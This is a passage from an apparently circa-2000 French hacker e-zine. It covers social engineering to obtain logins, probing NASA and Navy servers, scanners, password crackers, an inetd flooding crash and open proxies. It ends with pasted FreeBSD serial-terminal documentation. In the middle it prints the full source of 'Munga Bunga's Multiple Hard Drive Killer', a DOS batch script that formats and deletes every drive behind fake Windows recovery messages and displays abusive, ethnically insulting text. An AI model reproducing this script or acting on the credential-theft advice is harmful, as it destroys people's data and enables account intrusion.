mais reste sur ses gardes.
● L'utilisateur averti et habitué: il va très souvent sur internet, ses messages sur les NewsGroups
sont facilement trouvables en grosse quantité.
● L'utilisateur passif: il n'utilisera presque jamais internet, et ne s'y connaitra que très peu en
informatique. la cible préférée mais la plus difficile d'accès d'un pirate
● Les utilisateurs passifs deuxième type: ils connaissent internet, y vont un peu de temps en
temps, vont relever leur mails hebdomadairement. c'est aussi l'une des cibles privilégiées des
pirates.
Les deux dernières cibles sont à contacter. Utilisez le Social Engeneering ou le courrier tactile pour
avoir leurs logins et mots de passes, au sein du réseau.
On s'éloigne du sujet abordé me direz vous. Mais une fois ces logins et mots de passes en poches,
vous pouvez accédez à leurs comptes e-mails (si c'est eux qui déterminent leurs mots de passes), ou
faire de la connection par telnet avec ces logins et mots de passes, si ils ont un compte accessible
depuis l'internet. Exemple du site www.y.com. Les emails sont envoyés à [email protected] (par
exemple), et si les mails sont reçus sur la machine serveur, vous pouvez y accéder.
Vous remarquerz que j'ai parlé de Social Engineering (pas pu m'en empêcher), car comme cité plus
haut, ces 3 facteurs peuvent être indépendants.
Certaines sessions telnet (en restriction totale, lors de la demande du login et du mot de pase), sur
certains serveurs, affichent le nom du système sur lequel vous tentez de vous connecter. Celà peut
devenir un point fort pour un hacker qui sait exploiter les failles de ces systèmes. Mais des scanners
copmme SATAN analysent les informations reçues lors de la demande de connection pour
déterminer le type de système distant.
Celà s'applique en général pour les serveurs proposant une connection telnet par:
J'en vois un qui râle car y'a pas de bons exemples. J'avais filé l'adresse de l'US navy ou un de ses
serveurs s'en rapprochant (navobs1.usnogps.navy.mil) dans mon premier e-zine. Allez je suis gentil:
vn.nas.nasa.gov
est l'adresse de la NASA ou d'un de ces serveurs. Il y a peu de chances pour que celui-ci soit reliés à
un réseau intranet important. Mais bon, c'est juste histoire de voir aussi qu'il y a un IP filtering, car les
européens verront ce message:
We are unable to complete your connection as requested. This host only accepts connections
from within the United States. This connection attempt has been logged. If you feel you have
received this message in error please contact NAS user Services at (415) 604-4444 or via email
at [email protected]
ce message d'erreur laisse supposé qu'une protection efficace n'est jamais mise en place pour rien. Je
pense qu'il s'agit d'un serveur secondaire de la NASA. Bon, on a ça, mais on va pas lacher les bras: en
effet on a été refusé lors d'une connection par telnet. Essayons un scanning de l'adresse pour voir si
on a pas mieux, Sinon, on scann un petit bout du réseau, et on regarde si il existe d'autres serveurs de
la NASA. Il faut aussi signaler qu'il se peut que la connection ait été loggé mais:
VI/ Scanners
Un scanner est un outil dangereux pour la sécurité d'un réseau. Le rôle d'un scanner est d'analyser
chaque point d'un réseau, et d'en donner les points faibles. Ils existent d'autres types de scanners qui
se contentent d'analyser les réseaux, mais en plus permettent à l'utilisateur du scanner d'essayer d'en
trouver les "failles": des commandes comme finger, sysinfo (qui permet de se renseigner sur la cible à
l'autre bout)... peuvent être implémentées dans un scanner. Le plus simple, le plus rapide et bien fait
de scanners que je connaissent reste WS PING PRO PACK sur http://www.ipswitch.com/.
Les scanners vont s'occuper (en général) de savoir:
Parmis les scanners les plus connus (qui tournent sous UNIX en général), il y a SATAN, qui ne
fonctionne que lorsque l'on est root. Ci joint une description de NESSUS, qui est un scanner bien
particulier (fonctionne sous Linux): Nessus, est intéressant car il permet, en scannat un serveur, de
savoir quel en sont les points faibles (les ports qui présentent des points faibles), et de décrire ces
points faibles (qu'est-ce qui peut se passer si quelqu'un fait ci ou ça sur le port 21, ce qui peut être
intéressant pour un pirate. Et la solution à ce problème). Nessus sera bientôt développé pour
WindowsNT dans les mois à venir (année 2000).
http://www.nessus.org/
Il en existe d'autres (NSS, Strobe, SATAN...) Attendez: arrêtons nous-sur SATAN. Satan a été conçu
uniquement pour UNIX, mais il était la référence en la matière de scanners. il décrivait EN DETAIL,
chaque point faible d'un serveur. Satan peut fonctionner (mal, très mal) sous Linux. Cependant pour
éxécuter correctment SATAN, rendez vous aux adresses ci-dessous:
http://recycle.jlab.org/~doolitt/satan/tcp_scan.diff.2
http://recycle.jlab.org/~doolitt/satan/BSD-4.4-includes.tar.gz
téléchargez SATAN à http://www.trouble.org/~zen/satan/satan.html
Les utilisateurs de Windows 9x ne seront pas en reste grâce à "Network Toolbox": c'est un scanner
de ports TCP/IP. Il scanne un serveur en vous indiquant chaque service disponible sur celui-ci (FTP,
SMTP, finger, pop3, portmap etc...).
Il inclut aussi les fonctions d'un port scanner; il n'indique pas les failles que peut offrir chaque
service, mais le fait d'afficher ces services constitue un atout intéressant (exemple de finger).
@echo off
rem This program is dedecated to a very special person that does
not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive
variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >
{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem Drive checking insertion ends here. "enddc" stands for "end
dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive
information.
:testdrv
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest
>nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul
>>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:
\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest
>nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul
>>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:
\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard
Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The
purpose of this program is to tell you the following. . . >>c:
\autoexec.bat
echo echo 1. To make people aware that security should not be taken
for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go
of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer,
and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. If you are Australian, I feel sorry for you, accept my
sympathy, you retard. >>c:\autoexec.bat
echo echo 5. Don't support the following: War, Racism, Drugs and
the Liberal Party.>>c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul
cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$
$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.
bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving
the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good
looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Author: Munga Bunga - from Australia, the land full of retarded
Australian's (help me get out of here).
Commande: inetd
System affecté: Linux
On peut crasher un serveur Linux qui accepte les connections TCP sous inetd, par flooding de
requêtes vers celui-ci. une cinquantaine de requêtes font que le serveur va refuser les connections
inetd, parce que le serveur aura crashé. Ca marche pour tous les services sous inetd, donc ftpd,
identd...
Voici une liste de vieux bugs. je ne sais plus ou j'ai trouvée cette liste, en tout cas ce n'est pas moi qui
l'ai dressée, ni le gars qui l'a mise à disposition:
Un perçeur de mot de passe est prévu pour décrypter un password cérypté par un algorithme.
Actuellement les algorithmes de cryptage sont si puissants qu'il devient impossible d'en trouver le
chemin de décryptage du mot de passe. Alors il y a des programmes qui vont se charger de trouver le
password en le faisant apsser par l'algorithme de cryptage. Cette méthode est aussi connue sous le
nom de: "Brute Force Hacking".
La plupart de ces mots de passes marchent en testant les mots de passe d'un "dico". Ce "dico"
correspond à une liste de mot, qui est prévu pour tester chaque mot comme password un par un.
Quelques dicos sont trouvables sur hackers.com.
D'autres crackers de mots de passes auront la tâche de décrypter le mot de passe. En général ces
programmes ont déjà des clés de cryptages pour décrypter des passes encryptés avec certains
programmes (exemple: le programme X décryptera le pass Y du programme A, mais pas le pass Z car
il n'a pas été crypté avec le programme A).
Je vous donne une liste de quelques crackers de mots de passe trouvables sur internet:
- Unsecure
- VcrackFTP
- CrackerJack
- EntryPRO
- Ftp-Hck
- Hades
- l0pht Crack
- DEPL
- ...
● Unsecure: c'est un passcracker pour FTP, il peut faire de la recherche par dictionnaires, ou
bien créer lui même ses mots.
● VcrackFTP: c'est l'un des passcrackers FTP les plus connus: car simple d'utilisation, mais il
reste assez lent et peut aboutir à des plantages.
● CrackerJack: il fonctionne sous DOS et permet de cracker les passwords sous UNIX. A noter
que Jill est un add-on pour cracker Jack qui permet une recherche plus approfondie des mots
de passe.
● EntryPRO: il permet de cracker les mots de apsse de sites web, lorsqu'une fenêtre password
s'ouvre comme c'est souvent le cas sur les sites pornos. Pour plus d'informations à ce sujet:
http://web.idirect.com/~elitesys/
● FTP-Hck: rien à dire.
● Hades: Hades est un cracker de mots de passe Unix sous etc/passwd. Attention (je préviens les
newbies: il s'agit d'un cracker qui marche quand on est sur uns station UNIX, on peut pas
cracker des pass UNIX avec Hades à distance. Bref, si vous comptiez vous farcir 2 ou 3
serveurs avec ce apsscrackers, disons que c'est raté). Hades fonctionne par recherche de mots
dans dictionnaires, ou bien il créé des combinaisons de mots de A à Z.
● l0phtCrack: il s'agit d'un perceur de mots de passe pour stations NT. Il est tellement rapide que
il peut vérifier les mots de passes de centaines d'utilisateurs, avec des centaines de milliers de
mots inscrits dans les dicos en quelques minutes uniquement. http://www.l0pht.com/
● DEPL: Delam Elite Password Leecher. Conçu en 1991, son auteur dit de lui qu'il est le moyen
le plus simple et actuellement le plus sophistiqué de trouver des passwords, des fichiers
auquels vous n'avez pas accès, etc... (C'était en 1991). Fonctionne sous DOS.
IX/ Proxys:
On croise sans cesse des textes fournissant des listes de proxys. Une rumeur bien con s'est fondé sur
les proxys: on s'imagine actuellement (surtout les lamers), qu'un proxy eprmet de se spoofer.
Explications techniques lorsqu'une liaison s'établit vers un serveur distant:
Une connexion s'établit toujours de client vers serveur. Chaque connection est bi-directionnelle.
Lorsqu'une demande de connection est lancée vers un serveur, le serveur répond avec son autorisation
ou non, et une demande de connection sur vous. Puis encore une requête pour commencer l'échange
de packets est envoyée vers le serveur. Pour établir une connection qui marche, et pas du pipeau, le
serveur doit se connecter à vous (adresse phisyqes, internets...). passer par un proxy ne change rien au
fait que vous utilisez toujours le même ISP, et donc avez toujours une IP founie par cet ISP. Le proxy
peut à la limite servir de firewall (filtrage de packets entrant ou sortant selon sa configuration), donc
un internaute pourrait ne pas réussir à vous tracer ou vous pinger. Mais celà ne change rien. Le seul
problème de sécurité que pose ainsi un proxy est, qu'en passant à travers plusieurs proxys (il suffit
d'établir des connections en reconfigurant le nécessaire), si l'on cherche à vous retracer, celà
deviendrait difficile mais pas impossible.
Liste de proxys tirée de Hackoff18, qui est elle même tirée d'ils ne savent trop où:
Code Fournisseur URL Port Protocole
AE Emirates.Net proxy.emirates.net.ae/proxy.pac - AUTOCONFIG
AR Broggio gopher.broggio.com.ar 80 HTTP/FTP
AT Tecan www-proxy.tecan.co.at 8080 HTTP/FTP
AU TAS www2.transport.tas.gov.au 80 HTTP/FTP
AU Schools proxy.schools.net.au 3128 HTTP/FTP
BR CTelecom proxy.cybertelecom.com.br 8080 HTTP/FTP
BR Overnet vectra.overnet.com.br 3128 HTTP/FTP
CA Csjlor www.csjlor.qc.ca 8080 HTTP/FTP
CA Clasalle acces.clasalle.qc.ca 8080 HTTP/FTP
CH Cern web-cache-2.cern.ch 8080 HTTP/FTP
CH UniSg sigma.unisg.ch 3128 HTTP/FTP
CO Compunet proxy.compunet.net.co 3128 HTTP/FTP
CZ Cuni hamster.ms.mff.cuni.cz 8080 HTTP/FTP GOPHER / WAIS SECURITY
CZ Vutbr lyn.zlin.vutbr.cz 8080 HTTP/FTP
COM RR proxye1-atm.maine.rr.com 8080 HTTP/FTP
COM McMail proxy.mcmail.com 8080 HTTP/FTP
COM Ludexpress yogsothoth.ludexpress.com 8080 HTTP/FTP
DE HtwkL zeus.rz.htwk-leipzig.de 80 HTTP/FTP GOPHER
DE Siemens ramses.erlm.siemens.de 80 HTTP/FTP
DE U-Rb. rrznw6.rz.uni-regensburg.de 8080 HTTP/FTP
EDU Berkeley smorgasbord.ICSI.Berkeley.EDU 8080 HTTP/FTP
EDU PurdueNC Brahma.CC.PurdueNC.Edu 8080 HTTP/FTP
FI Inet proxy.inet.fi 800 HTTP/FTP
FI TPU proxy.cs.tpu.fi 80 HTTP/FTP
FR AC ppar.ac-bordeaux.fr 8080 HTTP/FTP
GOV Dgs wall-14.dgs.ca.gov 80 HTTP/FTP
IT TO www.focos.to.it 3128 HTTP/FTP
IT Lcnet mail.lcnet.it 8080 HTTP/FTP
JP K-K lip.kobe-kosen.ac.jp 8080 HTTP/FTP
JP Fukuoka kusu.city.kurume.fukuoka.jp 8080 HTTP/FTP
KR Kyunghee cvs2.kyunghee.ac.kr 8080 HTTP/FTP
KR Taegu biho.taegu.ac.kr 8080 HTTP/FTP
MIL Dla cani.dla.mil 8080 HTTP/FTP
MIL OSD pgwcm.otd.osd.mil 80 HTTP/FTP
MIL Navy gatekeeper.jag.navy.mil 80 HTTP/FTP
MIL USMC gate1.yuma.usmc.mil 80 HTTP/FTP
NET Deltacom cacheflow1.deltacom.net 8080 HTTP/FTP
NET Coqui proxy.coqui.net 80 HTTP/FTP
NL Nhtv proxy.nhtv.nl 8080 HTTP/FTP
NL Tebenet www.tebenet.nl 8080 HTTP/FTP
ORG Londonderry www.londonderry.org 8080 HTTP/FTP
ORG Aclin aclin.org 8080 HTTP/FTP
PH EMC ascaris.emc.com.ph 8888 HTTP/FTP
PH Info mail2.info.com.ph 3128 HTTP/FTP
PT Isec leonardo.isec.pt 8080 HTTP/FTP
PT Teleweb caclis01.teleweb.pt 3128 HTTP/FTP
PY Infonet ns1.infonet.com.py 8080 HTTP/FTP
QA Qatarnet proxy.qatar.net.qa 8080 HTTP/FTP
SE Varnamo ns.varnamo.se 8080 HTTP/FTP
TR Turnet proxy1.turnet.net.tr 8080 HTTP
TR Turnet proxy2.turnet.net.tr 8080 HTTP
TW IS c1.h202052106.is.net.tw 80 HTTP/FTP
TW Golden club.golden.com.tw 8080 HTTP/FTP
UK Ondemand cache1.ondemand.co.uk 8080 HTTP/FTP
UK LUT double-panic.lut.ac.uk 8080 HTTP/FTP
US K12 stpauls.pvt.k12.al.us 8080 HTTP/FTP
US Oh websense.gcpl.lib.oh.us 8080 HTTP/FTP
ZA New cache.new.co.za 8080 HTTP/FTP
ZA Global cache02.global.co.za 3128 HTTP/FTP
ZW Cybergate proxy.cybergate.co.zw 8080 HTTP/FTP
ZW Africaonline proxy.africaonline.co.zw 8080 HTTP/FTP
Les livres sur la programmation en assembleur sont chiants mais utiles quand on veut faire des
virus. Le plus intéressant reste la controverse qui est autour d'eux: faciles à faire, gartuits, parfois
légaux (certains cas spéciaux), et on peut trouver des informations sur les virus aussi facilement que
si vous vouliez en avoir un. Il y a beaucoup de newsgroups qui existent traitant du sujet (alt.virus
comme types de newsgroups). Mais le niveau d'expertise de ces newsgroups est minimal.
heureusement qu'il y a beaucoup d'experts en virus. Pour en devenir un faites vous appeler comme
tel, et comprenez la programmation, les systèmes d'exploitation, comment marche les virus etc... Il
existe beaucoup d'informations concernant des virus, trouvable partout sur le net.
Cas particulier: la conscience d'un hacker par The Mentor EN ANGLAIS (non traduit: texte original),
après son arrestation:
Another one got caught today, it's all over the papers. "Teenager
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank
Tampering"... Damn kids. They're all alike. But did you, in your three-
piece psychology and 1950's technobrain, ever take a look behind the
eyes of the hacker? Did you ever wonder what made him tick, what forces
shaped him, what may have molded him? I am a hacker, enter my world...
Mine is a world that begins with school... I'm smarter than most of the
other kids, this crap they teach us bores me... Damn underachiever.
They're all alike. I'm in junior high or high school. I've listened to
teachers explain for the fifteenth time how to reduce a fraction.
I understand it. "No, Ms. Smith, I didn't show my work. I did it in
my head..." Damn kid. Probably copied it. They're all alike.
I made a discovery today. I found a computer. Wait a second, this is
cool. It does what I want it to. If it makes a mistake, it's because I
screwed it up. Not because it doesn't like me... Or feels threatened by
me.. Or thinks I'm a smart ass.. Or doesn't like teaching and shouldn't be
here... Damn kid. All he does is play games. They're all alike. And then
it happened... a door opened to a world... rushing through the phone line
like heroin through an addict's veins, an electronic pulse is sent out,
a refuge from the day-to-day incompetencies is sought... a board is found.
"This is it... this is where I belong..." I know everyone here... even
if I've never met them, never talked to them, may never hear from them
again... I know you all... Damn kid. Tying up the phone line again.
They're all alike... You bet your ass we're all alike... we've been
spoon-fed baby food at school when we hungered for steak... the bits of
meat that you did let slip through were pre-chewed and tasteless.
We've been dominated by sadists, or ignored by the apathetic. The few
that had something to teach found us willing pupils, but those few are
like drops of water in the desert.
This is our world now... the world of the electron and the switch, the
beauty of the baud. We make use of a service already existing without
paying for what could be dirt-cheap if it wasn't run by profiteering
gluttons, and you call us criminals. We explore... and you call us
criminals. We seek after knowledge... and you call us criminals. We
exist without skin color, without nationality, without religious bias...
and you call us criminals. You build atomic bombs, you wage wars, you
murder, cheat, and lie to us and try to make us believe it's for our
own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime is
that of judging people by what they say and think, not what they look like.
My crime is that of outsmarting you, something that you will never
forgive me for. I am a hacker, and this is my manifesto. You may stop
this individual,but you can't stop us all... after all, we're all alike.
+++The Mentor+++
[May the members of the phreak community never forget his words -JR]
La traduction est celle de NeurAlien. Mais je ne la mets pas: ils est plus inétressant de se baser sur
son texte et de le traduire avec son expérience et son vécu, que de comprendre ce que neurAlien a
traduit avec son expérience.
Ceci est là liste là plus complète jusqu'ici des sites militaires internet DoD(?).
InterNet
node address
(-eof-)
(c)nXo/loteknologies
Je ne sais pas de quand date ce texte, mais les IP doivent avoir changés. certains urls en revanche,
non.
XI/ Le terminal X
Introduction (courte): vous pensez bien que je ne tire pas ces connaissances sur les terminaux, de
l'endroit béni d'où je suis né. Alors merci à freebsd pour leurs explications on ne peut plus claires.
Terminaux
Contribution de Sean Kelly <[email protected]>28 Juillet 1996
Utiliser des terminaux est une solution commode et peu coûteuse pour disposer de la puissance de
votre système FreeBSD lorsque vous n'êtes pas sur la console de l'ordinateur ou sur un réseau auquel
il est connecté. Cette section vous explique comment utiliser des terminaux avec FreeBSD.
Les PCs d'aujourd'hui ont des consoles graphiques de haute résolution, mais la possibilité d'ouvrir
une session sur un port série subsiste toujours sur presque tous les systèmes d'exploitation de type
Unix; FreeBSD ne fait pas exception à la règle. Avec un terminal relié à un port série disponible,
vous pouvez ouvrir une session et exécuter des programmes comme vous le feriez normalement à la
console ou dans une fenêtre xterm avec le gestionnaire X Window.
Pour un usage professionnel, vous pouvez connecter de nombreux terminaux à un système FreeBSD
et les installer sur les bureaux de vos employés. Pour une usage domestique, un ordinateur inutilisé,
un vieux PC ou Macintosh, peut servir de terminal sur un ordinateur plus puissant sous FreeBSD.
Vous pouvez ainsi faire de ce qui serait sinon un système mono-utilisateur un puissant système multi-
utilisateurs.
Les Terminaux X.
Terminaux passifs
Les terminaux passifs sont des matériels spécialisés qui vous permettent de vous connecter à votre
ordinateur via une ligne série. On les appelle ``passifs'' parce qu'ils ne savent qu'afficher, envoyer et
recevoir du texte. Ils ne peuvent pas exécuter de programmes. C'est l'ordinateur auquel ils sont
connectés qui dispose de tout ce qu'il faut pour faire tourner les logiciels de traitement de texte, les
compilateurs, la messagerie électroniques, les jeux, et ainsi de suite.
Les terminaux passifs sont d'usage courant lorsque les utilisateurs n'ont pas besoin d'accéder à des
outils graphiques tels que ceux que fournit le système X Window.
Terminaux X
Les terminaux X sont les terminaux les plus sophistiqués, ils ne se connectent pas à un port série,
mais habituellement à un réseau du type Ethernet. Au lieu d'être cantonnés au mode texte, ils peuvent
afficher des applications X Window.
Les terminaux X ne sont cités ici que pour être exhaustif. Ce chapitre ne décrit pas comment installer,
configurer et utiliser des terminaux X.
Câbles et Ports
Pour relier un terminal à votre système FreeBSD, il vous faut le bon câble et un port série auquel le
connecter. Cette section vous explique comment faire. Si vous savez déjà comment brancher votre
terminal et quel type de câble il vous faut, passez à la section Configuration.
Câbles
Comme les terminaux utilisent les ports série, il vous faudra un câble série - appelé aussi RS-232C -
pour relier le terminal à votre système FreeBSD.
Il y a deux sortes de câbles série. Celui que vous utiliserez dépendra du type de terminal que vous
voulez connecter:
Si vous connectez un ordinateur personnel pour servir de terminal, utilisez un câble ``null-modem''.
Un câble ``null-modem'' relie deux ordinateurs ou deux terminaux entre eux.
Si vous avez un vrai terminal, la meilleure source d'information pour savoir quel câble utiliser est la
documentation du terminal. Si vous n'avez pas de documentation, essayez un câble ``null-modem''. Si
cela ne marche pas, alors essayez avec un câble standard.
Il faudra aussi que les ports série de votre terminal et de votre système FreeBSD aient des
connecteurs compatibles avec le câble que vous utilisez.
Câbles ``Null-modem''
Un câble ``null-modem'' transmet directement certains signaux, le ``signal à la terre'', par exemple,
mais en permute d'autres, les broches ``émission'' et ``réception'' sont par exemple reliées entre elles,
d'une extrémité sur l'autre.
Si vous réalisez vous-même vos propres câbles, voici une table qui décrit la méthode recommandée
pour fabriquer un câble ``null-modem'' pour les terminaux. Cette table donne les noms et les numéros
de broches des signaux RS-232C sur un connecteur DB-25,
Remarques :
[a] reliez les broches 4 et 5 entre elles sur le connecteur et à la broche 8 de l'autre extrémité (côté
ordinateur).
Ports
Les ports série sont les périphériques grâce auxquels l'information est échangée entre le terminal et
l'ordinateur FreeBSD hôte. Cette section décrit les différents types de ports série existant et comment
ils sont adressés par FreeBSD.
Types de ports
Il y a différents types de ports série. Avant d'acheter ou de monter un câble, vous devez vérifier qu'il
soit adapté aux ports de votre terminal et de votre machine FreeBSD.
La plupart des terminaux ont des ports DB25. Les ordinateurs personnels, dont les PCs sous
FreeBSD, ont des ports DB25 ou DB9. Si vous avez une carte multi-ports série sur votre PC, vous
pouvez avoir des ports RJ-12 ou RJ-45.
Consultez la documentation de votre matériel pour connaître les spécifications des ports que vous
allez utiliser. Un coup d'oeil aux ports suffit souvent aussi.
Les ports d'appel entrant sont appelés /dev/ttydX où X est le numéro du port, à partir de zéro. Vous
utilisez habituellement les ports d'appel entrant pour les terminaux. Avec ces ports, la ligne série doit
émettre le signal ``Data Carrier Detect'' (DCD) - détection de porteuse - pour qu'ils fonctionnent.
Les ports d'appel sortant sont appelés /dev/cuaaX. Vous n'utilisez normalement pas les ports d'appel
sortant pour les terminaux, mais pour les modems. Vous pouvez les utiliser avec un terminal, si le
câble série ou le terminal ne supportent pas le signal de détection de porteuse.
Reportez-vous aux pages de manuel de sio(4) pour plus d'informations.
Si vous connectez un terminal au premier port série (COM1 en langage DOS), vous utiliserez alors /
dev/ttyd0 pour faire référence au terminal. S'il est sur le second port série (aussi appelé COM2), ce
sera /dev/ttyd1, et ainsi de suite.
Notez bien que vous devrez peut-être configurer votre noyau pour y inclure le support de chaque port
série, en particulier si vous avez une carte série multi-ports. Voyez le chapitre Configurer le noyau de
FreeBSD pour plus d'informations.
Configuration
Cette section décrit ce que vous devez faire pour configurer votre système FreeBSD pour pouvoir
ouvrir une session depuis un terminal. Elle suppose que vous avez déjà configuré votre noyau pour y
inclure le support du port série auquel votre terminal est connecté - et que vous avez branché ce
dernier.
En un mot, vous devez demander au programme init, qui contrôle le lancement et l'exécution des
processus, de lancer un processus getty, lequel se chargera de lire le nom d'utilisateur au début de la
session et lancera à son tour le programme login.
Pour cela, vous devez éditer le fichier /etc/ttys. Commencez par utiliser su pour devenir super-
utilisateur. Modifiez ensuite de la façon suivante /etc/ttys:
Ajoutez à /etc/ttys une ligne pour l'entrée du répertoire /dev correspondant au port série, si elle n'y est
pas déjà.
Précisez qu'il faut exécuter /usr/libexec/getty sur ce port et donnez le type de ``getty'' approprié, tel
qu'il est défini dans le fichier /etc/gettytab.
En option, vous pouvez définir un type de getty sur-mesure pour l'étape 2 en ajoutant une entrée au
fichier /etc/gettytab. Ce document ne vous explique pas comment le faire. Vous êtes invités à
consulter les pages de manuel de gettytab(5) et getty(8) pour plus d'informations.
Les sections qui suivent détaillent chacune de ces étapes, Dans l'exemple que nous prendrons pour
cela, nous connecterons deux terminaux à notre système: un Wyse-50 et un vieil IBM PC 286 avec
un logiciel d'émulation de terminal compatible VT-100. Nous connecterons le terminal Wyse au
second port série et le 286 au sixième port série (sur une carte multi-ports).
Pour plus d'informations sur le fichier /etc/ttys, lisez les pages de manuel de ttys(5).
Le fichier /etc/ttys liste tous les ports de votre système FreeBSD sur lesquels vous voulez autoriser
l'ouverture de session. Par exemple, la première console virtuelle ttyv0 a une entrée dans ce fichier.
Vous pouvez ouvrir une session à la console en utilisant cette entrée. Il y a des entrées dans le fichier
pour les consoles virtuelles, les ports série et les ``pseudo-tty''s. Pour les terminaux physiques,
n'indiquez que l'entrée /dev du port série, sans le ``/dev/''.
A l'installation de votre système FreeBSD, le fichier /etc/ttys contient les entrées pour les quatre
premiers ports série: de ttyd0 à ttyd3. Si vous connectez un terminal à l'un de ces ports, vous n'avez
pas d'entrée à ajouter.
Dans notre exemple, le Wyse-50 va sur le second port série, ttyd1, qui est déjà dans le fichier. Il nous
suffit d'ajouter une entrée pour le PC 286 relié au sixième port série. Voici un extrait du fichier /etc/
ttys après que nous ayons ajouté cette nouvelle entrée:
Le programme getty a un argument (optionnel), le type de getty. Un type de getty décrit les
caractéristiques de la ligne sur laquelle est le terminal, telle sa vitesse en bps et le type de contrôle de
parité utilisé. le programme getty lit ces caractéristiques dans le fichier /etc/gettytab.
Le fichier /etc/gettytab contient un grand nombre d'entrées pour des terminaux anciens et d'autres
plus récents. Dans presque tous les cas, les entrées qui commencent par std fonctionneront avec les
terminaux physiques. Ces entrées ignorent le contrôle de parité. Il y a un entrée std pour chaque
vitesse en bps de 110 à 115200. Vous pouvez bien entendu ajouter vos propres entrées à ce fichier.
Les pages de manuel de gettytab(5) vous donnent plus d'informations.
Quand vous définissez le type de getty dans le fichier /etc/ttys, vérifiez que les paramètres de
communication du terminal soient les mêmes.
Dans notre exemple, le Wyse-50 n'utilise pas de contrôle de parité et se connecte à 38400 bps. Le PC
n'utilise pas de contrôle de parité et se connecte à 19200 bps. Voici le fichier /etc/ttys avec les
définitions correspondantes (juste ce qui concerne les deux terminaux qui nous intéressent):
Remarquez que le second champ - celui qui indique quel programme exécuter - est entre guillemets.
C'est important, parce que sans cela le type donné en argument de getty serait interprété comme
troisième champ.
Habituellement, les utilisateurs emploient le programme tset depuis leur fichier .login ou .profile pour
récupérer le type de terminal et demander de le préciser si nécessaire. En définissant le type de
terminal dans le fichier /etc/ttys, vous leur évitez qu'on leur pose cette question.
Pour savoir quels types de terminaux sont reconnus par FreeBSD, consultez le fichier /usr/share/misc/
termcap. Il liste environ 600 terminaux. Vous pouvez en ajouter si vous le désirez. Voyez les pages
de manuel de termcap(5) pour plus d'informations.
Dans notre exemple, le Wyse-50 est un terminal de type Wyse-50 (bien qu'il puisse émuler d'autres
types de terminaux, nous le laisseront en mode Wyse-50). Le PC 286 PC utilise Procomm qui sera
